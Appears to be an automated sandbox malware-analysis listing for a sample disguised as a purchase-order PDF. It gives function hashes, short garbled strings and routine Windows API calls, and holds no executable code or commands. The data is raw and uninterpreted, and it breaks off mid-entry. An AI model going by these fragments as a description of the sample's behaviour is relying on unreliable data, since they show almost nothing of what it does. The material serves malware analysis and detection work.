Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd72ae798535cb54d887384a8359c142ccddf732c04510b14b58793a170e68a4
Instruction ID: b612fb21c766ab6b4d2a06e27ba8122e600233b5038dc68f20434ac3b3a6f25d
Opcode Fuzzy Hash: dd72ae798535cb54d887384a8359c142ccddf732c04510b14b58793a170e68a4
Instruction Fuzzy Hash: CB616C74A40219CFDB25DF64CA40BADBBB6FF88300F1084A9980977B65DB395E82DF54

Function 3593C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eedd5c4a811cd5bc9ad5f1deabf25454aabdffdbfce8a6473c385fe79f2abef3
Instruction ID: c1557cbe7e9c5a42ac90a466677ae79b4f3453098eeff6cc7ec4487e1856bfcc
Opcode Fuzzy Hash: eedd5c4a811cd5bc9ad5f1deabf25454aabdffdbfce8a6473c385fe79f2abef3
Instruction Fuzzy Hash: 95616F74A00258CFDB25DF65CA44BADBBB6FF88300F10889A980A77765CB395D82DF54

Function 35938642 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0c7b528c38a2178c75c83892f54b098e0eab0816a488880d8974f1781c2821
Instruction ID: 1e45446347ff929bd126881473360041bcbe890ca0855df8805dc70343c23c9d
Opcode Fuzzy Hash: 5f0c7b528c38a2178c75c83892f54b098e0eab0816a488880d8974f1781c2821
Instruction Fuzzy Hash: 3C619075D02228CFDB64DF66C9846DDBBB2BF89301F1491EAD409AB250DB359A86CF40

Function 35938647 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87adbbf31dbe4a91973e93373fc45e1aa182c72a0812469f2d35b8b32ab331c0
Instruction ID: f201d293989f3929366e118a084ab23dfc295e011aa7001875bbc4828d08a706
Opcode Fuzzy Hash: 87adbbf31dbe4a91973e93373fc45e1aa182c72a0812469f2d35b8b32ab331c0
Instruction Fuzzy Hash: 79619F75D02228CFDB64DF66C9846DDBBF2BF89301F1491EAD409AB250DB349A86CF40

Function 359396B8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4aeeeb1b584e3e0e758be351a0670b84b2e9948fdc2e8291f02fab8a791d800
Instruction ID: 1003aa1a1000768543f310e84df9586dea3297281dde47a010620a520ff4fc6c
Opcode Fuzzy Hash: e4aeeeb1b584e3e0e758be351a0670b84b2e9948fdc2e8291f02fab8a791d800
Instruction Fuzzy Hash: 437152B5E01628CFEB68CF66C945B9DBBF2AF89300F14C1AAD40DA7255DB344A85CF11

Function 35939D0D Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6198875dc7ba46df45d91377cf105c683da99a7a325c146bf44d3dca75404392
Instruction ID: b64ed07293a6c136f9029a3478e78e69be2c62464f55bbcfada883c7ec7b48dd
Opcode Fuzzy Hash: 6198875dc7ba46df45d91377cf105c683da99a7a325c146bf44d3dca75404392
Instruction Fuzzy Hash: 454149B1D016188BEB58CF6BC9457DAFAF3AFC9300F14C1AAD50CA6264DB740A868F51

Function 3593A35C Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81bf72d1d2d1d3c2593c982d427c354d7682fc3c5276618e6dd6755e888813fe
Instruction ID: 01a0045dbec9c79a12f3fe9552e9f5d148720e25745f6f564c3825806680d7cd
Opcode Fuzzy Hash: 81bf72d1d2d1d3c2593c982d427c354d7682fc3c5276618e6dd6755e888813fe
Instruction Fuzzy Hash: CD4149B1D016189BEB58CF6BCD457C9FAF3AFC9310F14C1AAD50CA6264EB740A858F51

Function 35939D00 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9e6a3828f83ae09daba3522067835c4442b7b5269581d136d950936caffabc
Instruction ID: f42044abb3bdfcf822ccac67c67f1cbb6e8f14ae91f65d5451166d230cfbc376
Opcode Fuzzy Hash: 5a9e6a3828f83ae09daba3522067835c4442b7b5269581d136d950936caffabc
Instruction Fuzzy Hash: DF41F8B1E016188BEB58CF6BC94579DFAF3AFC9204F14C1AAC50CA7265DB740A868F51

Function 3593A351 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e82586646ab48d663d0f75b0cebab12df67b07c2a882c8224614068e0dc4e6
Instruction ID: 5efb0234daf457e77afb19ea56a25957025be07f8bebc5b0e5d988e1e117770f
Opcode Fuzzy Hash: c5e82586646ab48d663d0f75b0cebab12df67b07c2a882c8224614068e0dc4e6
Instruction Fuzzy Hash: 0C4127B1E016188BEB58CF6BC945789FBF3AFC9214F14C1AAC50CA6264DB740A868F51

Function 35939D04 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9372f97df679acc7cad6f9343111d4cd65360ab9b6e46db495def1b267e3ded
Instruction ID: 28c77ab887178ec4573dbf87068aeae053a23335748e02ac7d1aa537b24d779f
Opcode Fuzzy Hash: b9372f97df679acc7cad6f9343111d4cd65360ab9b6e46db495def1b267e3ded
Instruction Fuzzy Hash: 564137B1E016188BEB58CF6BC94579DFAF3BFC9204F14C1AAC40CA6265DB740A868F51

Function 001566B8 Relevance: 10.5, Strings: 8, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 00156BC7
,aq, xrefs: 00156B58
,aq, xrefs: 00156B68
(o]q, xrefs: 001566F6
(o]q, xrefs: 001567DD
(o]q, xrefs: 0015687A
(o]q, xrefs: 00156BD7
(o]q, xrefs: 001567B1

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: d7f22972a91676893e0611209b6232aaf7fb249d126ab401eefcb09cfc36b41e
Instruction ID: e57aa8e5abe53afcc154598621ecc4c18d3b0eac56c58220785d64dffc12e7b6
Opcode Fuzzy Hash: d7f22972a91676893e0611209b6232aaf7fb249d126ab401eefcb09cfc36b41e
Instruction Fuzzy Hash: 23126A30A00609CFCB14CF69D984A9EBBF2FF48315F558569E869DB261DB30ED49CB90

Function 001519B8 Relevance: 8.2, Strings: 6, Instructions: 683
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xaq, xrefs: 00151B2F
Xaq, xrefs: 00151B7C
Xaq, xrefs: 00151A76
Xaq, xrefs: 00152C95
Xaq, xrefs: 00151AB0
Xaq, xrefs: 00152CBE

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq$Xaq$Xaq
API String ID: 0-499371476
Opcode ID: 1ff2443dc1c00766160b3046969cad11b2f9f3b8d51e31ac59d18f189291a1c3
Instruction ID: a902a8e82358c2ab07f849ce20fcdbc6a18c308642b36273783c3fd02c57cfd3
Opcode Fuzzy Hash: 1ff2443dc1c00766160b3046969cad11b2f9f3b8d51e31ac59d18f189291a1c3
Instruction Fuzzy Hash: 7742EBA7E1D3E18FC7124B705CB82597FB17B22106BDE459EC8C297287EBA58449C353

Function 35E60980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 35E609FE
GetCurrentThread.KERNEL32 ref: 35E60A3B
GetCurrentProcess.KERNEL32 ref: 35E60A78
GetCurrentThreadId.KERNEL32 ref: 35E60AD1

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8b350f3281156e686ab861eaec97bddf232d40a6abf54c13969621cc7a9623db
Instruction ID: decc166a99d64dc829502417fed4f6e9d5f7fb495ba86c1addad8af187392b51
Opcode Fuzzy Hash: 8b350f3281156e686ab861eaec97bddf232d40a6abf54c13969621cc7a9623db
Instruction Fuzzy Hash: 795147B4D017098FDB04DFA9C689BAEBBF5FF48314F208459D419A7261DB38A980CF65

Function 3593D548 Relevance: 3.9, Strings: 3, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 3593D5CA
4']q, xrefs: 3593D5ED
)4, xrefs: 3593D67C

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: 4']q$4']q$)4
API String ID: 0-3007799253
Opcode ID: 8a8565d0824769b51b1efbb88a7443ef6ed31e34a233d98c9a1e843aa38ea9ec
Instruction ID: 220535a39c2ffd7a6a1c083dcda151662e1e308bcbe0bd49313aa8447311cd9e
Opcode Fuzzy Hash: 8a8565d0824769b51b1efbb88a7443ef6ed31e34a233d98c9a1e843aa38ea9ec
Instruction Fuzzy Hash: 78514B70A002099FCB05EFA8D591A9EBBB6FF89300F108565D045BB266DB35AD45CFA1

Function 00157458 Relevance: 3.2, Strings: 2, Instructions: 704
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 00157F9F
$]q, xrefs: 00157F7C

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: d8ed68870fe5326cfdff048a79c31ba18a3da697e8ab92cc4f03cbb43b65eb13
Instruction ID: 89da1a27b87db8a37de47b40f6f729d863f3036d83ad393bfbc549c722992ab8
Opcode Fuzzy Hash: d8ed68870fe5326cfdff048a79c31ba18a3da697e8ab92cc4f03cbb43b65eb13
Instruction Fuzzy Hash: 12522F74A00218CFEB25DBA4C951B9EBBB6EF84300F1080ADD51A6B3A6CF395E45DF51

Function 00154F00 Relevance: 2.8, Strings: 2, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0015501E
Haq, xrefs: 00154FEB

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: cc2bb597968c37f5b379d02cb7b54fcbf40333c8a42a5af73129f6a2752f137c
Instruction ID: 8e11304ed21410191ff962e8e0c99998cf58d7393fe50bd1520435cfcae7cafe
Opcode Fuzzy Hash: cc2bb597968c37f5b379d02cb7b54fcbf40333c8a42a5af73129f6a2752f137c
Instruction Fuzzy Hash: 32B1C030304651CFCB159F39C8A4B6A7BE6AF89306F154569E816CF3A5CB74CC89CB91

Function 00155460 Relevance: 2.7, Strings: 2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00155540
,aq, xrefs: 00155536

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: dcbebcee53678d7d8ef1ae6080a74c575e478417a22e81b3c078b16d818d0412
Instruction ID: 68ce470ae15c85ba3cc09245712ccde0a36877fe4d2b65f811612baf93c40eb5
Opcode Fuzzy Hash: dcbebcee53678d7d8ef1ae6080a74c575e478417a22e81b3c078b16d818d0412
Instruction Fuzzy Hash: B281AE30B00945CFCB18CF69C4A49AAB7B3BF88316B658169E825DF365E731EC45CB51

Function 00158D90 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

4']q, xrefs: 00158DC4
4']q, xrefs: 00158ECC

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: c268870cb62bdc93f63abe8b11b234776f61765f01c4bfd358ac7b81dad239a5
Instruction ID: e7bf223496b35895acec35378d387fb65c04469117ac784245df3eced8a16ccf
Opcode Fuzzy Hash: c268870cb62bdc93f63abe8b11b234776f61765f01c4bfd358ac7b81dad239a5
Instruction Fuzzy Hash: 9D519370704205CFDB14DB69C8916BEB7F6EF88301F15846AE921EF251DB34CD498B91

Function 00158D19 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4']q, xrefs: 00158D44
4']q, xrefs: 00158D2D

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 0578882b274db036e22f049804e092a4c544ea6511ac2fc0edcb622bae341a80
Instruction ID: 7bab96e4963ac0707d7ebb561a7f82c9cd2f8caf0b3b28db5c2a1fbaa3ce9b9b
Opcode Fuzzy Hash: 0578882b274db036e22f049804e092a4c544ea6511ac2fc0edcb622bae341a80
Instruction Fuzzy Hash: 33F0AF353002146FDB081AAA9C5497A7ADBEFC83A1B048429FD19CB3A0DE75CC0183A0

Function 35E6010D Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 35E60222

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ab8e6643796cc0eb022433876a50945caad3806c60e15ed70284e2e226c47aa7
Instruction ID: 73e4f933d933799a3b9682d6fedcc1bdcaf3ae6bbb6884f3bdb1bf14ae7c7cd8
Opcode Fuzzy Hash: ab8e6643796cc0eb022433876a50945caad3806c60e15ed70284e2e226c47aa7
Instruction Fuzzy Hash: 5151C0B5D00359DFDB14CFA9C984ADEBBB5BF48354F24812AE819AB210D774A885CF90

Function 35E60110 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 35E60222

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e5f738cccc82f771ec7733e9b4d07fc6f7617629bf1c4cb2c88dbb8f6f9f1ca4
Instruction ID: ee42d272fdb05353c96d6c9cb4a8d4699924334e9d0bb94961196f7014e0480d
Opcode Fuzzy Hash: e5f738cccc82f771ec7733e9b4d07fc6f7617629bf1c4cb2c88dbb8f6f9f1ca4
Instruction Fuzzy Hash: 5341D1B5D00319DFDB14CF99C984ADEBBB5FF48354F20812AE819AB210D774A885CF90

Function 35E61DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 35E61E81

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6060bcff3bffaa463cccf243739bdb306be6fdf5f6f37438b8ded079e1ac8655
Instruction ID: 403162ce92a09a6344cb567881314a46ac78094b1496a6674d1f4e9df5509b22
Opcode Fuzzy Hash: 6060bcff3bffaa463cccf243739bdb306be6fdf5f6f37438b8ded079e1ac8655
Instruction Fuzzy Hash: 704136B9A00349CFDB14CF99C444A9ABBF5FF88314F24C459D559AB321D774E841CBA0

Function 35E60BC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 35E60C4F

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6947a3ac6935334f3157783e4a7f6dafec17404fa9ba4912392d67f7cbeca742
Instruction ID: 4c14b5880db030a51d1a7b3ea97ce1d7a9d482034467c50dc35b12519b0708f8
Opcode Fuzzy Hash: 6947a3ac6935334f3157783e4a7f6dafec17404fa9ba4912392d67f7cbeca742
Instruction Fuzzy Hash: B421C4B5D002589FDB10CFAAD585ADEBBF4FB49310F14841AE959A3310D378A950CFA5

Function 35E6C560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 35E6D445

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 36c89564f3491a88fd310cdbf6383f88c257b9c387d6242803feb27bc2a50315
Instruction ID: e5a60b5bac5389e16ccac269fd29cc665ac4d8b3354c7a173d465e7d26fb7dda
Opcode Fuzzy Hash: 36c89564f3491a88fd310cdbf6383f88c257b9c387d6242803feb27bc2a50315
Instruction Fuzzy Hash: D41133B59047488FCB20DF9AC645B9EBBF4EB49324F108419D518A7200D778A940CBA5

Function 35E6C60C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,35E6D92F), ref: 35E6E765

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: b2200206e1b38e9566adefc328bcc3bad3a9596e448073bfdda05e8f2dfe3452
Instruction ID: fc99fc2c600ac4992bbd206ec150bf0b6c765df2887fbd1a9347d5769a2decb8
Opcode Fuzzy Hash: b2200206e1b38e9566adefc328bcc3bad3a9596e448073bfdda05e8f2dfe3452
Instruction Fuzzy Hash: AE112EB6C04748CFDB10CF9AD584B9EFBF4EB49324F10842AE918A3240D378A544CFA6

Function 35E62020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 35E6207D

Memory Dump Source

Source File: 00000003.00000002.3314608165.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e60000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 7ab90249d8f9c516fe9284960e21e7eee0cece0c4b3c11b56e1f6e05699cc3a3
Instruction ID: 0776589f844a5924b3a5eaadf67a403eda5902f9afdb6641880a06916d901244
Opcode Fuzzy Hash: 7ab90249d8f9c516fe9284960e21e7eee0cece0c4b3c11b56e1f6e05699cc3a3
Instruction Fuzzy Hash: 441103B58003489FDB10DF9AC585BDEBBF8EB49320F108419D959A3200C379A580CFA1

Function 00150B29 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00150B62

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: faa124fc27a3b3c6cc413b5d6b847c4856d7f1433f42bca94d9db39fc341e7a0
Instruction ID: 3e18cf1f4a97018418901645b079622fab649a4f96624d909a02150eb7948571
Opcode Fuzzy Hash: faa124fc27a3b3c6cc413b5d6b847c4856d7f1433f42bca94d9db39fc341e7a0
Instruction Fuzzy Hash: 1EA1CA74A00209CFCF05EFA8DA9599D7BF5FF48301B104529E449AB765DB38694ACF90

Function 00150B30 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00150B62

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 824debda2c6e5ca76798a87a5fe1ab42cdd7a421df6a7b37cb01b15631f4cec1
Instruction ID: 79ead609648c9d41e32d19cbca80667a6dbf73242c46622dbf234c57e7a1ea9a
Opcode Fuzzy Hash: 824debda2c6e5ca76798a87a5fe1ab42cdd7a421df6a7b37cb01b15631f4cec1
Instruction Fuzzy Hash: 5DA1B874A00209CFCF05EFA8EA8599DBBF5FF48301B104525E409AB765DB386A4ACF90

Function 00159EB0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0015A039

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 276afedb2336c371dd66237b800dddb4a5863721600dc1de84a7ea44a93b5f3d
Instruction ID: a8b2b5c3eb60ed0c26ea94e54fbf977312c661e3961fa33447f0d2cc56dd73d2
Opcode Fuzzy Hash: 276afedb2336c371dd66237b800dddb4a5863721600dc1de84a7ea44a93b5f3d
Instruction Fuzzy Hash: B741FE31B042048FCB149B78D854AAE7BB6AFC8701F24456AE91ADB7A1CF309C46CB91

Function 3593C175 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aaef16032ab460707dd549543db27cc06447fbb091643ef6aa7e2a20f3e969a
Instruction ID: bf85a78ad6d9b7ccf086714ff0bfee050b8b74633d7bacdb385f77bca3a21862
Opcode Fuzzy Hash: 2aaef16032ab460707dd549543db27cc06447fbb091643ef6aa7e2a20f3e969a
Instruction Fuzzy Hash: 1CE1C274A00218CFDB25EF60CA54BADBBB6EF89301F1084A9D80977765CB395E82DF54

Function 3593C173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3314424712.0000000035930000.00000040.00000800.00020000.00000000.sdmp, Offset: 35930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35930000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da2d08154d2cdba8916a7f05409b51b9c471a327b9ca4cfb02d16bdc83f60803
Instruction ID: 160f3998e5f0d8b04a269c41b928b943c19da84571d7090fe56047d1b9e731eb
Opcode Fuzzy Hash: da2d08154d2cdba8916a7f05409b51b9c471a327b9ca4cfb02d16bdc83f60803
Instruction Fuzzy Hash: 5DE1D374A00218CFDB25EF60CA54BADB7B6EF89301F1084A9D80977755CB395E82DF54

Function 00156C98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d6fe006d12d97c5cb527e8dad97e376fc4ce79ac983d69f7c58efc109ae3b3f
Instruction ID: 8a1d58ab51266510536742541d5e2d2e743e604c4ffbc64e3d4d61c1769941bc
Opcode Fuzzy Hash: 3d6fe006d12d97c5cb527e8dad97e376fc4ce79ac983d69f7c58efc109ae3b3f
Instruction Fuzzy Hash: BA711434700205CFCB14DF68C895A6A7BF6EF59702B5944A9E826CB3B1DB74EC85CB90

Function 0015AF90 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
